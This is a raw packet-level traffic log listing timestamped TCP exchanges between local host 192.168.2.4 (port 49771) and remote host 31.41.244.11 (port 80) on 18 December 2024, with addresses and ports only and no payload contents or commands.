Dec 18, 2024 17:08:25.386967897 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.387638092 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.387684107 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.387738943 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.387784004 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.388747931 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.388796091 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.388828993 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.388875008 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.389853954 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.389904976 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.389939070 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.389986038 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.390942097 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.390990019 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.391026974 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.391072035 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.392024994 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.392102003 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.392151117 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.393109083 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.393258095 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.393310070 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.394221067 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.394360065 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.394431114 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.395287037 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.395339012 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.395462990 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.395507097 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.396378994 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.396431923 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.396516085 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.396562099 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.397483110 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.397617102 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.397664070 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.398550034 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.398675919 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.398729086 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.399852037 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.399902105 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.400247097 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.401290894 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.401343107 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.401381016 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.402296066 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.402344942 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.402369976 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.402411938 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.403373003 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.403474092 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.403521061 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.404369116 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.404441118 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.404496908 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.405395985 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.405452013 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.405476093 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.406234026 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.406452894 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.406498909 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.406661034 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.406707048 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.407381058 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.407429934 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.407541990 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.407586098 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.408495903 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.408544064 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.408632994 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.408683062 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.409600019 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.409712076 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.409759998 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.410972118 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.411098003 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.411144018 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.411928892 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.411973953 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.412014008 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.413084030 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.413131952 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.548352003 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.548414946 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.548479080 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.548536062 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.548849106 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.548996925 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.549045086 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.550215960 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.550270081 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.550303936 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.550434113 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.551167965 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.551220894 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.551263094 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.551559925 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.552195072 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.552335978 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.552388906 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.553230047 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.553349972 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.553400040 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.554343939 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.554496050 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.554543018 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.555464029 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.555516958 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.555594921 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.555680990 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.556632042 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.556724072 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.556843042 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.556957006 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.557770967 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.557841063 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.557890892 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.558914900 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.558965921 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.559078932 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.559190989 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.559957027 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.560019016 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.560064077 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.560878038 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.561057091 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.561117887 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.562001944 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.562131882 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.562175989 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.563188076 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.563286066 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.563343048 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.564296007 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.564352036 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.564393044 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.564435959 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.565324068 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.565372944 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.565412045 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.565454006 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.566447973 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.566494942 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.566567898 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.566910982 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.567539930 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.567603111 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.567729950 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.567784071 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.568654060 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.568805933 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.568856955 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.569628954 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.569833040 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.569876909 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.570771933 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.570858955 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.570904970 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.571896076 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.571949005 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.572108030 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.572156906 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.572916985 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.573039055 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.573085070 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.574022055 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.574110985 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.574137926 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.574229956 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.575169086 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.575222015 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.575407982 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.575505972 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.576282978 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.576333046 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.576443911 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.577261925 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.577276945 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.577466965 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.577507973 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.578372955 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.578507900 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.578551054 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.579521894 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.579793930 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.580614090 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.580732107 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.580749035 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.580764055 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.580786943 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.581710100 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.581768036 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.581902981 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.581957102 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.582755089 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.582881927 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.582927942 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.583899975 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.583949089 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.584136963 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.584191084 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.584968090 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.585016966 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.585087061 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.585139036 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.586133003 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.586235046 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.586246014 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.586289883 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.587191105 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.587244034 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.587291956 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.588363886 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.588408947 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.588479996 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.589229107 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.589332104 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.589521885 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.589567900 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.590446949 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.590511084 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.590698004 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.590749979 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.591569901 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.591674089 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.591680050 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.591716051 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.592683077 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.592727900 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.592777014 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.592819929 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.593816042 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.594078064 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.594132900 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.594902039 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.595213890 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.595233917 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.595266104 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.595917940 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.595963955 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.596116066 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.596251965 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.597035885 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.597098112 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.597172976 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.597302914 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.598092079 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.598162889 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.598184109 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.598396063 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.599159956 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.599280119 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.599360943 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.600243092 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.600372076 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.600435019 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.600490093 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.601367950 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.601495028 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.601548910 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.602425098 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.602545977 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.602602959 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.603562117 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.603662968 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.603723049 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.604588032 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.604646921 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.604707003 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.604748964 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.605698109 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.605748892 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.740313053 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.740434885 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.740493059 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.740521908 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.740842104 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.740902901 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.741013050 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.741167068 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.741218090 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.741925955 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.741980076 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.742052078 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.742311001 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.742966890 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.743089914 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.743113041 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.743134022 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.743935108 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.743985891 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.744112015 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.744160891 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.744893074 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.744942904 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.745090961 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.745132923 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.745872974 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.745969057 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.745997906 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.746047020 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.746864080 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.746962070 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.747030973 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.747195005 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.747817993 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.747888088 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.747957945 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.748006105 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.748830080 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.748899937 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.748991966 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.749090910 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.749838114 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.749891043 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.750001907 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.750061989 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.750900030 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.750950098 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.751029968 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.751084089 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.751822948 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.751912117 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.751925945 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.751950979 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.752769947 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.752819061 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.752909899 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.753190041 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.753761053 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.753804922 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.753926992 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.753973961 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.754821062 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.754863024 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.754899025 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.755114079 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.755781889 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.755872011 CET	49771	80	192.168.2.4	31.41.244.11
